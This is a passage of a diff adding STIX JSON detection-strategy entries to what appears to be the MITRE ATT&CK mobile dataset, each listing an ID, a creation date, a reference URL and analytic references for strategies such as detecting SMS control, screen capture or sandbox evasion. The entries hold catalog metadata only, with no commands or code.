"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--142329a9-ff29-4bc2-af36-7294afc5fee4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0599", + "external_id": "DET0599" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of SMS Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a69604d3-2909-46bf-afd3-39b47ac5e5fd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--aeb736c8-1c17-4fac-888e-122581ad6e0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0686", + "external_id": "DET0686" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of SMS Messages", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--421fc6dc-1275-4eca-9950-150ad27d9bfd", + "x-mitre-analytic--b1674dca-753f-45d9-b0de-4c68e459f046" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c1b65a72-9f74-4849-9797-1a9c655d9a04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0646", + "external_id": "DET0646" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of SSL Pinning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--05191336-6d06-41f7-babb-5d079e4168ae", + "x-mitre-analytic--93a35555-f71e-4230-9f2a-529a539e8612" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ea1efe01-98ef-4a49-a30d-72fde6750985", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0707", + "external_id": "DET0707" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Scheduled Task/Job", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--07c399a0-e5ad-462d-99b9-f51ce8aa5061", + "x-mitre-analytic--f10a7842-ddb2-488b-93ac-e53fa6476614" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--37c50db7-2081-4e24-91d0-787e091ea75a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0668", + "external_id": "DET0668" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Screen Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--427fe5c7-1b91-4d71-ae2c-6840d128f0bd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9935655b-cd9b-485f-84ea-1b3b4b765413", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0680", + "external_id": "DET0680" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Security Software Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--87d2ccc4-f82e-493d-9c6f-03303253aec2", + "x-mitre-analytic--9c721bd4-75df-4381-bd70-29679aa78a4b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--69ceab63-17ce-4e42-b247-055a180e6c2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0600", + "external_id": "DET0600" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Software Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--992c6fa4-689c-4ce1-883f-f48a8b1c5ccc", + "x-mitre-analytic--bff6f104-006e-48e5-ac3f-4633bb3abac5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--34d06ebf-867e-4cd2-8e44-c849fcaab072", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0644", + "external_id": "DET0644" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Software Packing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--75a0da5c-9f2b-4e96-bb94-10c30f16a9a2", + "x-mitre-analytic--d4dc642d-922b-4476-ad3f-ba23c43702f5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--411f7c72-356c-4de6-bbf0-27a7952d3be5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0656", + "external_id": "DET0656" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Steal Application Access Token", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9253e546-bc55-42c1-bf8c-b4337a1ea5b5", + "x-mitre-analytic--8a463850-89e6-4de8-bd8d-20fd70dff959" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--545bde30-2b8c-47d3-bd34-fa188348b967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0677", + "external_id": "DET0677" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Steganography", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cda313bc-214f-4bf8-9aa2-b3fb495379c3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d87dc800-38cb-4d82-b76e-3c501dbd9c0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0621", + "external_id": "DET0621" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Stored Application Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7f84f2b8-6ef3-4167-b059-a455d7c40a7d", + "x-mitre-analytic--b755f519-cc0c-44a4-865f-fa9ead44590f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--668d7e7b-dc4e-4f51-93b4-ef87cb15d507", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0657", + "external_id": "DET0657" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Subvert Trust Controls", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b972ebf0-16d1-4bc2-980b-e8cb0947affa", + "x-mitre-analytic--f3da45bb-921e-4b4c-8fc3-666c7a37dea6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8d518627-1df4-4bf8-b1fb-0828fb9f6d31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0628", + "external_id": "DET0628" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Supply Chain Compromise", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c1cdc6fb-9b7f-4076-9634-c939ddaef2bf", + "x-mitre-analytic--9aa716a2-0301-49cd-89c0-a441e5da0551" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--611b9135-583e-47f8-b617-e9d52ae2d2c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0714", + "external_id": "DET0714" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Suppress Application Icon", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--944c3eaa-2809-4db3-ac7c-d1868e205793" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0c01c90a-c8a9-40ee-b143-1e5b00f11e1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0650", + "external_id": "DET0650" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Symmetric Cryptography", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d5926b94-833c-4b29-b611-059f72fcda84", + "x-mitre-analytic--6c776c7a-0e2f-4963-9485-aa90149ae68e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0bd280ab-7977-4ef9-b577-6c6a6014b179", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0625", + "external_id": "DET0625" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Checks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--66adf2b9-42aa-401f-8bc3-3830854017ee", + "x-mitre-analytic--c956f269-d282-4c68-afc6-ca68d8532ab6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0a60e161-3347-49e6-9687-123e8a06c620", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0601", + "external_id": "DET0601" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Information Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--55699534-c11f-4f9b-8908-a0c7d59160fd", + "x-mitre-analytic--04e54116-5787-4bb0-9c4a-2b620a80b5dc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--538bc808-b0f5-4f86-81f2-63be2cf63e80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0634", + "external_id": "DET0634" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Network Configuration Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f44bab9b-554c-4dc7-b57f-4011ce609c2b", + "x-mitre-analytic--cb4c4b76-3f6d-4387-ab20-74b461bbb211" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ea45fed-cd52-4e26-96d5-31d3fd2c7b22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0636", + "external_id": "DET0636" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Network Connections Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--98dfbd23-232b-410a-bb71-25ba191ff746" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ffe1aba-c979-426b-b96c-7161679eb8a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0689", + "external_id": "DET0689" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of System Runtime API Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--90052e39-40c3-4194-a2a2-fc240639ab0f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4041b489-71a4-4995-9419-04bd75628f89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0683", + "external_id": "DET0683" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Transmitted Data Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6a3e1244-3832-4523-81bc-56598a280b16" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0ec6ab45-a114-4ded-ba5e-a16982ccd64b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0626", + "external_id": "DET0626" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of URI Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5e90ac48-345b-445a-877f-596737ad7efb", + "x-mitre-analytic--cbdcf6f3-00c3-4c38-bc7c-ffb6806f0a25" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5a9d7ef3-35bf-4a89-8f61-084e2eecc070", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0690", + "external_id": "DET0690" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Uninstall Malicious Application", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--176d2eda-e41b-48d0-b66a-daaccb5a77cd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--34fc0ca7-338c-4eb4-b4ac-618f56378dd5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0607", + "external_id": "DET0607" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Unix Shell", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f2c74903-6770-4f55-9a11-edcf6e00938e", + "x-mitre-analytic--649ee05c-9f09-47fc-802a-7df2ce362563" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5d826975-65f1-4515-b8c1-15cecd3339ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0699", + "external_id": "DET0699" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of User Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--89ee35d2-02ec-4c36-b51c-50e686eb3012" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cb6a0874-0cb3-4d44-a77e-e93d4a26d50b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0695", + "external_id": "DET0695" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Video Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4476a312-d2c9-459e-96a3-53ac0b676c52", + "x-mitre-analytic--e6c05bf0-e6d6-46f9-ba38-11b58fbf2f26" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--24ad5d49-a170-4e03-a194-3cc68ee81e1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0606", + "external_id": "DET0606" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Virtualization Solution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d86a141c-b4fa-48fd-a15b-2cd3254b3400" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a5f6a93c-a8f9-4660-a6bc-63761a9ee94b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0616", + "external_id": "DET0616" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Virtualization/Sandbox Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5044447d-dc82-4d74-ac8c-02e5559f374c", + "x-mitre-analytic--dd9778f4-5919-4796-9d4c-b3fb6ace453d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": 